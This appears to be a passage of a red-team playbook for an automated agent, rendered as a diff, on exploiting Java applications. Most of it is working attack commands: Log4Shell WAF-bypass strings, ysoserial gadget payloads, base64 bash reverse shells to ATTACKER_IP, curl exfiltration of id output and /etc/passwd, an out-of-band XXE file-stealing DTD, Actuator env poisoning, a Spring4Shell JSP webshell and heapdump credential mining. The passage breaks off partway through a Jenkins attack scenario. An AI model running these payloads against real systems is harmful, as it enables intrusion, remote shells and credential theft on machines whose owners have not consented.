cat > /tmp/xxe-oob.xml << 'EOF'
|
|
223
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
224
|
+
<!DOCTYPE foo [
|
|
225
|
+
<!ENTITY % xxe SYSTEM "http://ATTACKER_IP:8888/evil.dtd">
|
|
226
|
+
%xxe;
|
|
227
|
+
]>
|
|
228
|
+
<root><data>test</data></root>
|
|
229
|
+
EOF
|
|
230
|
+
|
|
231
|
+
# Serve the evil.dtd (captures file contents via OOB HTTP)
|
|
232
|
+
cat > /tmp/evil.dtd << 'EOF'
|
|
233
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
234
|
+
<!ENTITY % wrap "<!ENTITY % send SYSTEM 'http://ATTACKER_IP:8888/?data=%file;'>">
|
|
235
|
+
%wrap;
|
|
236
|
+
%send;
|
|
237
|
+
EOF
|
|
238
|
+
python3 -m http.server 8888 --directory /tmp &
|
|
239
|
+
|
|
240
|
+
# Spring Boot Actuator — env poisoning for RCE (via spring.datasource.url trick)
|
|
241
|
+
# Step 1: Read current env to find writable properties
|
|
242
|
+
curl -sk http://<TARGET>/actuator/env | python3 -m json.tool \
|
|
243
|
+
| tee _rtexit-output/exploit/java/actuator/env-dump.txt
|
|
244
|
+
|
|
245
|
+
# Step 2: Write a malicious property (spring.cloud.bootstrap.location for RCE)
|
|
246
|
+
curl -sk -X POST "http://<TARGET>/actuator/env" \
|
|
247
|
+
-H "Content-Type: application/json" \
|
|
248
|
+
-d '{"name":"spring.cloud.bootstrap.location","value":"http://'${ATTACKER_IP}':8888/malicious.yml"}'
|
|
249
|
+
|
|
250
|
+
# Step 3: Restart the application to apply the poisoned config
|
|
251
|
+
curl -sk -X POST "http://<TARGET>/actuator/restart"
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
---
|
|
255
|
+
|
|
256
|
+
### ADVANCED
|
|
257
|
+
|
|
258
|
+
Suitable for: Red Team operators on hardened targets with WAFs and patched systems.
|
|
259
|
+
|
|
260
|
+
**Goal:** WAF bypass for Log4Shell, gadget chain selection for specific classpath, deserialization blind exploitation.
|
|
261
|
+
|
|
262
|
+
```bash
|
|
263
|
+
# --- Log4Shell WAF Bypass Obfuscation ---
|
|
264
|
+
|
|
265
|
+
# Technique 1: Nested lookup obfuscation (bypasses naive string matching)
|
|
266
|
+
curl -sk "http://<TARGET>/api" \
|
|
267
|
+
-H 'X-Api-Version: ${${lower:j}ndi:${lower:l}dap://'${ATTACKER_IP}':'${ATTACKER_LDAP_PORT}'/exploit}'
|
|
268
|
+
|
|
269
|
+
# Technique 2: Upper/lower case mixing
|
|
270
|
+
curl -sk "http://<TARGET>/api" \
|
|
271
|
+
-H 'X-Custom: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://'${ATTACKER_IP}':'${ATTACKER_LDAP_PORT}'/a}'
|
|
272
|
+
|
|
273
|
+
# Technique 3: URL encoding within JNDI
|
|
274
|
+
curl -sk "http://<TARGET>/api" \
|
|
275
|
+
-H 'User-Agent: ${jndi:ldap://'${ATTACKER_IP}':'${ATTACKER_LDAP_PORT}'/%2F%2Fa}'
|
|
276
|
+
|
|
277
|
+
# Technique 4: Protocol substitution (DNS for detection, then RMI for exploitation)
|
|
278
|
+
curl -sk "http://<TARGET>/api" \
|
|
279
|
+
-H 'X-Forwarded-For: ${jndi:rmi://'${ATTACKER_IP}':'${ATTACKER_RMI_PORT}'/exploit}'
|
|
280
|
+
|
|
281
|
+
# Technique 5: Localhost bypass using 127.0.0.1 indirection (internal SSRF pivot)
|
|
282
|
+
curl -sk "http://<TARGET>/api" \
|
|
283
|
+
-H 'Referer: ${jndi:ldap://127.0.0.1#'${ATTACKER_IP}':'${ATTACKER_LDAP_PORT}'/exploit}'
|
|
284
|
+
|
|
285
|
+
# Technique 6: Double encoding for WAF bypass
|
|
286
|
+
# ${${env:NaN:-j}ndi:${env:NaN:-l}dap://attacker}
|
|
287
|
+
curl -sk "http://<TARGET>/api" \
|
|
288
|
+
-H 'X-Custom-Header: ${${env:NaN:-j}ndi:${env:NaN:-l}dap://'${ATTACKER_IP}':'${ATTACKER_LDAP_PORT}'/exploit}'
|
|
289
|
+
|
|
290
|
+
# --- ysoserial Gadget Chain Selection ---
|
|
291
|
+
|
|
292
|
+
# Identify target classpath libraries from error messages / known app stack
|
|
293
|
+
# CommonsCollections1 -> Commons Collections 3.1, Java <8u71
|
|
294
|
+
# CommonsCollections2 -> Commons Collections 4.0, Java <8u71
|
|
295
|
+
# CommonsCollections3 -> Commons Collections 3.1 (alternate chain)
|
|
296
|
+
# CommonsCollections4 -> Commons Collections 4.0 (alternate chain)
|
|
297
|
+
# CommonsCollections5 -> Commons Collections 3.1, any JDK (uses BadAttributeValueExpException)
|
|
298
|
+
# CommonsCollections6 -> Commons Collections 3.1/4.0, any JDK (no Sun classes needed)
|
|
299
|
+
# CommonsCollections7 -> Commons Collections 3.1, any JDK (HashTable-based)
|
|
300
|
+
# Spring1 -> Spring Core 4.1.4-5.3.x
|
|
301
|
+
# Hibernate1 -> Hibernate 3/4/5 + DOM4J
|
|
302
|
+
# JRMPClient -> Java RMI — triggers JRMP connection (for gadget chaining)
|
|
303
|
+
# Jdk7u21 -> Any JDK < 7u21 (no 3rd party deps needed)
|
|
304
|
+
# URLDNS -> Any JDK, DNS only (for detection, no RCE)
|
|
305
|
+
|
|
306
|
+
# Gadget chain detection via URLDNS (safe — DNS callback only, no command execution)
|
|
307
|
+
java -jar /opt/tools/ysoserial-all.jar URLDNS "http://${CALLBACK_DOMAIN}/ysoserial-detect" \
|
|
308
|
+
| base64 -w0 > _rtexit-output/exploit/java/deserialization/urldns-payload.b64
|
|
309
|
+
|
|
310
|
+
# CommonsCollections6 — most universally compatible (no JDK version restriction)
|
|
311
|
+
java -jar /opt/tools/ysoserial-all.jar CommonsCollections6 \
|
|
312
|
+
'curl http://'${ATTACKER_IP}':8888/cc6-callback -d "$(id)"' \
|
|
313
|
+
> _rtexit-output/exploit/java/deserialization/cc6-payload.bin
|
|
314
|
+
|
|
315
|
+
# CommonsCollections5 — reliable for JBoss/Tomcat with CC 3.1
|
|
316
|
+
java -jar /opt/tools/ysoserial-all.jar CommonsCollections5 \
|
|
317
|
+
'bash -c {echo,'$(echo -n "bash -i >& /dev/tcp/${ATTACKER_IP}/4444 0>&1" | base64 -w0)'}|{base64,-d}|bash' \
|
|
318
|
+
> _rtexit-output/exploit/java/deserialization/cc5-revshell.bin
|
|
319
|
+
|
|
320
|
+
# Spring1 — for Spring Framework targets
|
|
321
|
+
java -jar /opt/tools/ysoserial-all.jar Spring1 \
|
|
322
|
+
'curl http://'${ATTACKER_IP}':8888/spring-callback -d "$(whoami)"' \
|
|
323
|
+
> _rtexit-output/exploit/java/deserialization/spring1-payload.bin
|
|
324
|
+
|
|
325
|
+
# WebLogic-specific payload delivery (T3 protocol on port 7001)
|
|
326
|
+
java -jar /opt/tools/ysoserial-all.jar JRMPClient ${ATTACKER_IP}:${ATTACKER_RMI_PORT} \
|
|
327
|
+
> _rtexit-output/exploit/java/deserialization/jrmpclient-payload.bin
|
|
328
|
+
|
|
329
|
+
# Send binary payload to a Java deserialization endpoint via curl
|
|
330
|
+
curl -sk -X POST "http://<TARGET>/deserialize" \
|
|
331
|
+
-H "Content-Type: application/x-java-serialized-object" \
|
|
332
|
+
--data-binary @_rtexit-output/exploit/java/deserialization/cc6-payload.bin \
|
|
333
|
+
-o _rtexit-output/exploit/java/deserialization/response.txt
|
|
334
|
+
|
|
335
|
+
# For endpoints using base64-encoded serialized objects (common in cookies/JWT)
|
|
336
|
+
PAYLOAD_B64=$(java -jar /opt/tools/ysoserial-all.jar CommonsCollections6 \
|
|
337
|
+
'curl http://'${ATTACKER_IP}':8888/callback -d @/etc/passwd' | base64 -w0)
|
|
338
|
+
curl -sk "http://<TARGET>/dashboard" \
|
|
339
|
+
-H "Cookie: session=${PAYLOAD_B64}"
|
|
340
|
+
```
|
|
341
|
+
|
|
342
|
+
---
|
|
343
|
+
|
|
344
|
+
### EXPERT
|
|
345
|
+
|
|
346
|
+
Suitable for: Mature Red Team operations, adversary simulation, evasion-heavy engagements.
|
|
347
|
+
|
|
348
|
+
**Goal:** Full Java exploitation chain from reconnaissance to persistence — chained vulnerabilities, OPSEC-aware delivery, post-exploitation via Java agent injection.
|
|
349
|
+
|
|
350
|
+
```bash
|
|
351
|
+
# --- Spring4Shell (CVE-2022-22965) Full Exploitation ---
|
|
352
|
+
# Targets Spring MVC 5.3.0-5.3.17, 5.2.0-5.2.19 on Tomcat + JDK 9+
|
|
353
|
+
# NOT applicable to Spring Boot embedded Tomcat (WAR deployment required)
|
|
354
|
+
|
|
355
|
+
# Step 1: Confirm vulnerability conditions
|
|
356
|
+
# - JDK 9 or later
|
|
357
|
+
# - Spring MVC 5.3.0-5.3.17 or 5.2.0-5.2.19
|
|
358
|
+
# - Deployed as WAR on Tomcat (not embedded)
|
|
359
|
+
# - Has a parameter-binding endpoint (Controller with @RequestMapping)
|
|
360
|
+
|
|
361
|
+
# Step 2: Use automated PoC
|
|
362
|
+
cd /opt/tools/Spring4Shell-POC
|
|
363
|
+
python3 spring4shell.py \
|
|
364
|
+
--url "http://<TARGET>/endpoint" \
|
|
365
|
+
--file-name webshell.jsp \
|
|
366
|
+
--file-path /tmp/webshell.jsp \
|
|
367
|
+
2>&1 | tee _rtexit-output/exploit/java/spring4shell/exploit-log.txt
|
|
368
|
+
|
|
369
|
+
# Step 3: If PoC succeeds, verify webshell upload
|
|
370
|
+
curl -sk "http://<TARGET>/webshell.jsp?cmd=id"
|
|
371
|
+
|
|
372
|
+
# Manual Spring4Shell payload (ClassLoader manipulation via data binding)
|
|
373
|
+
# Sets log pattern to write JSP webshell to Tomcat's webroot
|
|
374
|
+
curl -sk -X POST "http://<TARGET>/register" \
|
|
375
|
+
--data 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
|
|
376
|
+
|
|
377
|
+
# Trigger webshell after Tomcat log rotation writes the file
|
|
378
|
+
curl -sk "http://<TARGET>/shell.jsp?pwd=j&cmd=id" \
|
|
379
|
+
| tee _rtexit-output/exploit/java/spring4shell/rce-output.txt
|
|
380
|
+
|
|
381
|
+
# --- Advanced Actuator Exploitation ---
|
|
382
|
+
|
|
383
|
+
# Full Actuator endpoint enumeration with auth bypass attempts
|
|
384
|
+
for endpoint in env beans mappings configprops httptrace auditlog loggers heapdump threaddump jolokia info refresh; do
|
|
385
|
+
echo "=== /actuator/${endpoint} ==="
|
|
386
|
+
curl -sk "http://<TARGET>/actuator/${endpoint}" \
|
|
387
|
+
-H "Authorization: Basic $(echo -n 'admin:admin' | base64)" \
|
|
388
|
+
| python3 -m json.tool 2>/dev/null || echo "[raw response]"
|
|
389
|
+
done | tee _rtexit-output/exploit/java/actuator/full-enum.txt
|
|
390
|
+
|
|
391
|
+
# Jolokia MBean exploitation (if /actuator/jolokia is exposed)
|
|
392
|
+
# Read system property via MBean
|
|
393
|
+
curl -sk "http://<TARGET>/actuator/jolokia/read/java.lang:type=Runtime/SystemProperties" \
|
|
394
|
+
| python3 -m json.tool | tee _rtexit-output/exploit/java/actuator/jolokia-sysinfo.txt
|
|
395
|
+
|
|
396
|
+
# Jolokia JNDI via MBeanServer.createMBean (triggers JNDI lookup on older versions)
|
|
397
|
+
curl -sk -X POST "http://<TARGET>/actuator/jolokia" \
|
|
398
|
+
-H "Content-Type: application/json" \
|
|
399
|
+
-d '{"type":"EXEC","mbean":"com.sun.management:type=DiagnosticCommand","operation":"vmLog","arguments":["output=file:/tmp/pwned"]}' \
|
|
400
|
+
| python3 -m json.tool
|
|
401
|
+
|
|
402
|
+
# Heapdump extraction and credential mining
|
|
403
|
+
curl -sk "http://<TARGET>/actuator/heapdump" \
|
|
404
|
+
-o _rtexit-output/exploit/java/actuator/heapdump.hprof
|
|
405
|
+
# Analyze with Eclipse Memory Analyzer (MAT) or jhat
|
|
406
|
+
# Quick string grep for credentials/tokens
|
|
407
|
+
strings _rtexit-output/exploit/java/actuator/heapdump.hprof | \
|
|
408
|
+
grep -iE "password|secret|token|api.?key|jdbc|datasource" | sort -u \
|
|
409
|
+
| tee _rtexit-output/exploit/java/actuator/heapdump-creds.txt
|
|
410
|
+
|
|
411
|
+
# Spring Boot loggers endpoint — enable DEBUG logging for credential exposure
|
|
412
|
+
curl -sk -X POST "http://<TARGET>/actuator/loggers/org.springframework.security" \
|
|
413
|
+
-H "Content-Type: application/json" \
|
|
414
|
+
-d '{"configuredLevel":"TRACE"}'
|
|
415
|
+
|
|
416
|
+
# --- Advanced JNDI-Inject-Kit Setup ---
|
|
417
|
+
# JNDI-Exploit-Kit supports: LDAP, RMI, DNS, HTTP — all from one server
|
|
418
|
+
cd /opt/tools/JNDI-Exploit-Kit
|
|
419
|
+
|
|
420
|
+
# Start with reverse shell payload (Base64-encoded bash one-liner)
|
|
421
|
+
REVSHELL=$(echo -n "bash -i >& /dev/tcp/${ATTACKER_IP}/4444 0>&1" | base64 -w0)
|
|
422
|
+
java -jar target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar \
|
|
423
|
+
-L ${ATTACKER_IP}:${ATTACKER_LDAP_PORT} \
|
|
424
|
+
-R ${ATTACKER_IP}:${ATTACKER_RMI_PORT} \
|
|
425
|
+
-P ${ATTACKER_HTTP_PORT} \
|
|
426
|
+
-C "bash -c {echo,${REVSHELL}}|{base64,-d}|bash" \
|
|
427
|
+
2>&1 | tee _rtexit-output/exploit/java/jndi/jndi-server.log &
|
|
428
|
+
|
|
429
|
+
# Available JNDI paths served (JNDI-Exploit-Kit):
|
|
430
|
+
# ldap://ATTACKER:1389/Basic/Command/Base64/<base64-cmd>
|
|
431
|
+
# ldap://ATTACKER:1389/Basic/ReverseShell/ATTACKER/PORT
|
|
432
|
+
# ldap://ATTACKER:1389/Basic/WebShell/ATTACKER/PORT
|
|
433
|
+
# ldap://ATTACKER:1389/Deserialization/CommonsCollections6/Command/Base64/<base64-cmd>
|
|
434
|
+
# rmi://ATTACKER:1099/Basic/Command/Base64/<base64-cmd>
|
|
435
|
+
|
|
436
|
+
# Using deserialization chain via LDAP (bypasses Java 8u191+ trustURLCodebase restriction)
|
|
437
|
+
java -jar target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar \
|
|
438
|
+
-L ${ATTACKER_IP}:${ATTACKER_LDAP_PORT} \
|
|
439
|
+
-C "curl http://${ATTACKER_IP}:8888/callback -d \$(id)" \
|
|
440
|
+
-Deserialization CommonsCollections6
|
|
441
|
+
|
|
442
|
+
# Trigger with Log4Shell payload pointing to deserialization chain
|
|
443
|
+
curl -sk "http://<TARGET>/api" \
|
|
444
|
+
-H "X-Api-Version: \${jndi:ldap://${ATTACKER_IP}:${ATTACKER_LDAP_PORT}/Deserialization/CommonsCollections6/Command/Base64/$(echo -n 'curl http://'${ATTACKER_IP}':8888/pwned -d $(id)' | base64 -w0)}"
|
|
445
|
+
```
|
|
446
|
+
|
|
447
|
+
---
|
|
448
|
+
|
|
449
|
+
## Step-by-Step Numbered Workflow
|
|
450
|
+
|
|
451
|
+
### Phase 1: Java Stack Identification
|
|
452
|
+
|
|
453
|
+
1. Run Nmap on common Java application ports (8080, 8443, 8888, 4848, 7001, 7002, 9200, 50000)
|
|
454
|
+
2. Check HTTP response headers for `X-Powered-By`, `Server`, `X-Application-Context`
|
|
455
|
+
3. Run WhatWeb with aggression level 3 and save JSON output
|
|
456
|
+
4. Check for Spring Boot Actuator at `/actuator`, `/actuator/health`, `/actuator/env`
|
|
457
|
+
5. Check for Java serialization endpoints — look for `AC ED 00 05` magic bytes in response bodies
|
|
458
|
+
6. Run nuclei with Java/CVE templates
|
|
459
|
+
7. Check favicon hash against known Java framework hashes
|
|
460
|
+
8. Note the exact version of frameworks where possible (error messages, `/actuator/info`, Nmap banner)
|
|
461
|
+
|
|
462
|
+
### Phase 2: Log4Shell Assessment
|
|
463
|
+
|
|
464
|
+
9. Confirm Log4j is in use (check dependency files if source is available, or infer from stack traces)
|
|
465
|
+
10. Set up interactsh or Burp Collaborator for OOB callback detection
|
|
466
|
+
11. Run log4j-scan against the target with all test modes enabled
|
|
467
|
+
12. Manually test high-value injection points: `User-Agent`, `X-Forwarded-For`, `X-Api-Version`, `Referer`, POST body fields, JSON values, XML elements, HTTP headers named after parameters
|
|
468
|
+
13. If DNS callback received: confirm JNDI lookup is working, escalate to LDAP payload
|
|
469
|
+
14. Stand up JNDI-Exploit-Kit with appropriate payload
|
|
470
|
+
15. Trigger exploitation payload and catch reverse shell
|
|
471
|
+
16. If WAF is blocking: apply obfuscation techniques (nested lookups, upper/lower, URL encoding)
|
|
472
|
+
|
|
473
|
+
### Phase 3: Spring4Shell Assessment
|
|
474
|
+
|
|
475
|
+
17. Confirm Spring MVC version and deployment type (WAR on Tomcat vs embedded Tomcat)
|
|
476
|
+
18. Confirm JDK version >= 9
|
|
477
|
+
19. Identify parameter-binding controllers via `/actuator/mappings` or source review
|
|
478
|
+
20. Run Spring4Shell-POC against candidate endpoints
|
|
479
|
+
21. If webshell is written: verify via HTTP request to written JSP
|
|
480
|
+
22. Upgrade from webshell to reverse shell using in-shell command
|
|
481
|
+
|
|
482
|
+
### Phase 4: Deserialization Assessment
|
|
483
|
+
|
|
484
|
+
23. Identify serialized object endpoints — check for magic bytes, `viewstate` parameters, RMI ports, JMX ports
|
|
485
|
+
24. Use URLDNS gadget chain for safe callback-based detection
|
|
486
|
+
25. Enumerate target classpath (error messages, Maven POM exposure via Actuator, known app stack)
|
|
487
|
+
26. Select appropriate gadget chain based on confirmed libraries
|
|
488
|
+
27. Generate binary payload with ysoserial
|
|
489
|
+
28. Deliver payload to endpoint, monitor HTTP server for callback
|
|
490
|
+
29. Escalate to reverse shell payload once callback confirmed
|
|
491
|
+
|
|
492
|
+
### Phase 5: Actuator Post-Exploitation
|
|
493
|
+
|
|
494
|
+
30. Extract full environment dump from `/actuator/env` — parse for credentials, API keys, DB URLs
|
|
495
|
+
31. Download heapdump from `/actuator/heapdump` and mine strings for sensitive data
|
|
496
|
+
32. Check `/actuator/httptrace` for recent requests including Authorization headers
|
|
497
|
+
33. Attempt Jolokia MBean enumeration for JVM introspection
|
|
498
|
+
34. Attempt environment variable poisoning via POST to `/actuator/env` + `/actuator/restart`
|
|
499
|
+
35. Document all extracted data in `_rtexit-output/exploit/java/actuator/`
|
|
500
|
+
|
|
501
|
+
### Phase 6: Documentation
|
|
502
|
+
|
|
503
|
+
36. Save all payloads, server logs, and shell session transcripts
|
|
504
|
+
37. Screenshot all successful RCE proof points (hostname, IP, `id`, `whoami`, `date`)
|
|
505
|
+
38. Document gadget chain used, Java version, library versions confirmed
|
|
506
|
+
39. Hand off to scribe agent for formal reporting
|
|
507
|
+
|
|
508
|
+
---
|
|
509
|
+
|
|
510
|
+
## Payload Examples with Explanations
|
|
511
|
+
|
|
512
|
+
### Log4Shell JNDI Payload Anatomy
|
|
513
|
+
|
|
514
|
+
```
|
|
515
|
+
${jndi:ldap://attacker.com:1389/exploit}
|
|
516
|
+
```
|
|
517
|
+
|
|
518
|
+
- `${...}` — Log4j lookup expression (evaluated during log message processing)
|
|
519
|
+
- `jndi:` — triggers Java Naming and Directory Interface resolution
|
|
520
|
+
- `ldap://` — LDAP protocol (port 1389 typical for attacker server)
|
|
521
|
+
- `attacker.com:1389` — attacker-controlled JNDI server
|
|
522
|
+
- `/exploit` — path on JNDI server that returns a malicious `Reference` object pointing to attacker's HTTP-hosted Java class
|
|
523
|
+
|
|
524
|
+
**How it works:**
|
|
525
|
+
1. Application logs a string containing the payload (login failure message, User-Agent in access log, etc.)
|
|
526
|
+
2. Log4j processes the string and evaluates `${jndi:...}` lookup
|
|
527
|
+
3. Java makes an LDAP request to attacker's server
|
|
528
|
+
4. LDAP server returns a `Reference` containing `codebase` URL pointing to attacker's HTTP server
|
|
529
|
+
5. JVM fetches and instantiates the malicious class from attacker's HTTP server
|
|
530
|
+
6. Malicious class constructor executes arbitrary OS command
|
|
531
|
+
|
|
532
|
+
**Java 8u191+ Restriction Bypass:**
|
|
533
|
+
After Java 8u191, `com.sun.jndi.ldap.object.trustURLCodebase=false` by default, blocking remote class loading via LDAP codebase. Bypass via:
|
|
534
|
+
- Deserialization gadget chains served via LDAP `javaSerializedData` attribute (no trustURLCodebase needed)
|
|
535
|
+
- Local gadget chains using `javax.naming.Reference` with locally-available factories
|
|
536
|
+
|
|
537
|
+
### ysoserial CommonsCollections6 Payload
|
|
538
|
+
|
|
539
|
+
```bash
|
|
540
|
+
java -jar ysoserial-all.jar CommonsCollections6 'curl http://attacker/cb -d $(id)'
|
|
541
|
+
```
|
|
542
|
+
|
|
543
|
+
**Chain:** `HashSet` → `HashMap` → `TiedMapEntry` → `LazyMap` → `ChainedTransformer` → `InvokerTransformer` → `Runtime.exec()`
|
|
544
|
+
|
|
545
|
+
- CC6 uses `HashSet`/`HashMap` which are standard Java — no JDK version restriction
|
|
546
|
+
- Suitable for any Java version from 6 onwards
|
|
547
|
+
- Does not require Sun-specific classes (unlike CC1 which needs `AnnotationInvocationHandler`)
|
|
548
|
+
- Triggers during `readObject()` of the outer `HashSet`
|
|
549
|
+
|
|
550
|
+
### Spring4Shell Payload Explanation
|
|
551
|
+
|
|
552
|
+
```
|
|
553
|
+
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP_WEBSHELL>
|
|
554
|
+
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
|
|
555
|
+
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
|
|
556
|
+
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
|
|
557
|
+
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_
|
|
558
|
+
```
|
|
559
|
+
|
|
560
|
+
**How it works:**
|
|
561
|
+
1. Spring MVC's data binding maps HTTP parameters to Java object properties via `PropertyEditor`
|
|
562
|
+
2. `class` maps to `Object.getClass()` — available on any bound Java object
|
|
563
|
+
3. `class.module.classLoader` navigates to Tomcat's `ParallelWebappClassLoader`
|
|
564
|
+
4. `.resources.context.parent.pipeline.first` reaches Tomcat's `AccessLogValve`
|
|
565
|
+
5. Setting `pattern`, `suffix`, `directory`, `prefix` makes Tomcat write a log file — with attacker-controlled content — as a `.jsp` file in the webroot
|
|
566
|
+
6. Visiting the written JSP executes the embedded code
|
|
567
|
+
|
|
568
|
+
### XXE Payload Variants
|
|
569
|
+
|
|
570
|
+
```xml
|
|
571
|
+
<!-- Basic file read -->
|
|
572
|
+
<?xml version="1.0"?>
|
|
573
|
+
<!DOCTYPE data [<!ENTITY file SYSTEM "file:///etc/passwd">]>
|
|
574
|
+
<data>&file;</data>
|
|
575
|
+
|
|
576
|
+
<!-- SSRF via XXE (internal network scanning) -->
|
|
577
|
+
<?xml version="1.0"?>
|
|
578
|
+
<!DOCTYPE data [<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/">]>
|
|
579
|
+
<data>&ssrf;</data>
|
|
580
|
+
|
|
581
|
+
<!-- Java-specific: read classpath resource -->
|
|
582
|
+
<?xml version="1.0"?>
|
|
583
|
+
<!DOCTYPE data [<!ENTITY cp SYSTEM "classpath:application.properties">]>
|
|
584
|
+
<data>&cp;</data>
|
|
585
|
+
|
|
586
|
+
<!-- OOB XXE via parameter entity (blind) -->
|
|
587
|
+
<?xml version="1.0"?>
|
|
588
|
+
<!DOCTYPE data [
|
|
589
|
+
<!ENTITY % dtd SYSTEM "http://ATTACKER_IP:8888/evil.dtd">
|
|
590
|
+
%dtd;
|
|
591
|
+
]>
|
|
592
|
+
<data>test</data>
|
|
593
|
+
```
|
|
594
|
+
|
|
595
|
+
---
|
|
596
|
+
|
|
597
|
+
## Tool Commands with Flags Explained
|
|
598
|
+
|
|
599
|
+
### ysoserial
|
|
600
|
+
|
|
601
|
+
```bash
|
|
602
|
+
java -jar ysoserial-all.jar \
|
|
603
|
+
CommonsCollections6 \ # Gadget chain name
|
|
604
|
+
'id' # Command to execute (use bash/curl for callbacks)
|
|
605
|
+
> payload.bin # Output binary payload (raw Java serialized object)
|
|
606
|
+
|
|
607
|
+
# Flags: None — positional args only: <gadget_chain> <command>
|
|
608
|
+
# Output: Binary Java serialized object, pipe to file or base64
|
|
609
|
+
# Java 8 required for most chains (use: java8 -jar ysoserial-all.jar ...)
|
|
610
|
+
```
|
|
611
|
+
|
|
612
|
+
### JNDI-Exploit-Kit
|
|
613
|
+
|
|
614
|
+
```bash
|
|
615
|
+
java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar \
|
|
616
|
+
-L ${ATTACKER_IP}:1389 \ # Listen address for LDAP server
|
|
617
|
+
-R ${ATTACKER_IP}:1099 \ # Listen address for RMI server
|
|
618
|
+
-P 8888 \ # HTTP server port (serves compiled exploit classes)
|
|
619
|
+
-C "id" \ # Command to embed in exploit class (default payload)
|
|
620
|
+
-Deserialization CommonsCollections6 # Use deserialization gadget (bypasses trustURLCodebase)
|
|
621
|
+
```
|
|
622
|
+
|
|
623
|
+
### log4j-scan
|
|
624
|
+
|
|
625
|
+
```bash
|
|
626
|
+
python3 log4j-scan.py \
|
|
627
|
+
-u "http://target.com" \ # Target URL
|
|
628
|
+
--run-all-tests \ # Test all HTTP headers and parameters
|
|
629
|
+
--waf-bypass \ # Enable WAF bypass obfuscation variants
|
|
630
|
+
--dns-callback-provider custom \
|
|
631
|
+
--custom-dns-callback-host "yourdomain.oastify.com" \ # OOB callback domain
|
|
632
|
+
-l /path/to/urls.txt \ # Batch mode: list of URLs to test
|
|
633
|
+
--request-type post \ # Also POST body injection
|
|
634
|
+
-t 5 # Timeout per request in seconds
|
|
635
|
+
```
|
|
636
|
+
|
|
637
|
+
### marshalsec (legacy JNDI redirect)
|
|
638
|
+
|
|
639
|
+
```bash
|
|
640
|
+
# LDAP server that redirects to HTTP-hosted class
|
|
641
|
+
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
|
|
642
|
+
marshalsec.jndi.LDAPRefServer \
|
|
643
|
+
"http://${ATTACKER_IP}:8888/#Exploit" # URL of compiled exploit class
|
|
644
|
+
|
|
645
|
+
# RMI server
|
|
646
|
+
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
|
|
647
|
+
marshalsec.jndi.RMIRefServer \
|
|
648
|
+
"http://${ATTACKER_IP}:8888/#Exploit"
|
|
649
|
+
```
|
|
650
|
+
|
|
651
|
+
### interactsh-client
|
|
652
|
+
|
|
653
|
+
```bash
|
|
654
|
+
interactsh-client \
|
|
655
|
+
-v \ # Verbose — show all interactions in real time
|
|
656
|
+
-o callbacks.txt \ # Save interactions to file
|
|
657
|
+
-server oast.pro # Use public interactsh server (or self-hosted)
|
|
658
|
+
```
|
|
659
|
+
|
|
660
|
+
### nuclei (Java-specific templates)
|
|
661
|
+
|
|
662
|
+
```bash
|
|
663
|
+
nuclei \
|
|
664
|
+
-u "http://target.com" \
|
|
665
|
+
-t cves/2021/CVE-2021-44228.yaml \ # Log4Shell detection
|
|
666
|
+
-t cves/2022/CVE-2022-22965.yaml \ # Spring4Shell detection
|
|
667
|
+
-t exposures/configs/spring-actuator.yaml \ # Actuator exposure
|
|
668
|
+
-t vulnerabilities/java/ \ # All Java vulnerability templates
|
|
669
|
+
-severity critical,high \ # Filter by severity
|
|
670
|
+
-o nuclei-java.txt \
|
|
671
|
+
-stats \ # Show progress stats
|
|
672
|
+
-timeout 10 # Per-request timeout
|
|
673
|
+
```
|
|
674
|
+
|
|
675
|
+
---
|
|
676
|
+
|
|
677
|
+
## Real-World Attack Scenarios
|
|
678
|
+
|
|
679
|
+
### Scenario 1: Jenkins CI/CD RCE via Log4Shell
|
|
680
|
+
|
|
681
|
+
**Context:** External engagement. Jenkins instance at `ci.target.com:8080` identified via Shodan. Version fingerprinting shows Jenkins 2.288 with bundled Log4j 2.14.0 (vulnerable).
|
|
682
|
+
|
|
683
|
+
**Attack path:**
|
|
684
|
+
|
|
685
|
+
```bash
|
|
686
|
+
# Step 1: Confirm Jenkins is running Log4j (error-based)
|
|
687
|
+
curl -sk "http://ci.target.com:8080/securityRealm/commenceLogin" \
|
|
688
|
+
-X POST -d 'j_username=admin&j_password=test' -v 2>&1 | grep -i "log4j\|x-powered"
|
|
689
|
+
|
|
690
|
+
# Step 2: Start JNDI server
|
|
691
|
+
REVSHELL=$(echo -n "bash -i >& /dev/tcp/${ATTACKER_IP}/4444 0>&1" | base64 -w0)
|
|
692
|
+
cd /opt/tools/JNDI-Exploit-Kit
|
|
693
|
+
java -jar target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar \
|
|
694
|
+
-L ${ATTACKER_IP}:1389 -P 8888 \
|
|
695
|
+
-C "bash -c {echo,${REVSHELL}}|{base64,-d}|bash" &
|
|
696
|
+
|
|
697
|
+
# Step 3: Start listener
|
|
698
|
+
nc -lvnp 4444 | tee _rtexit-output/exploit/java/log4shell/jenkins-shell.txt &
|
|
699
|
+
|
|
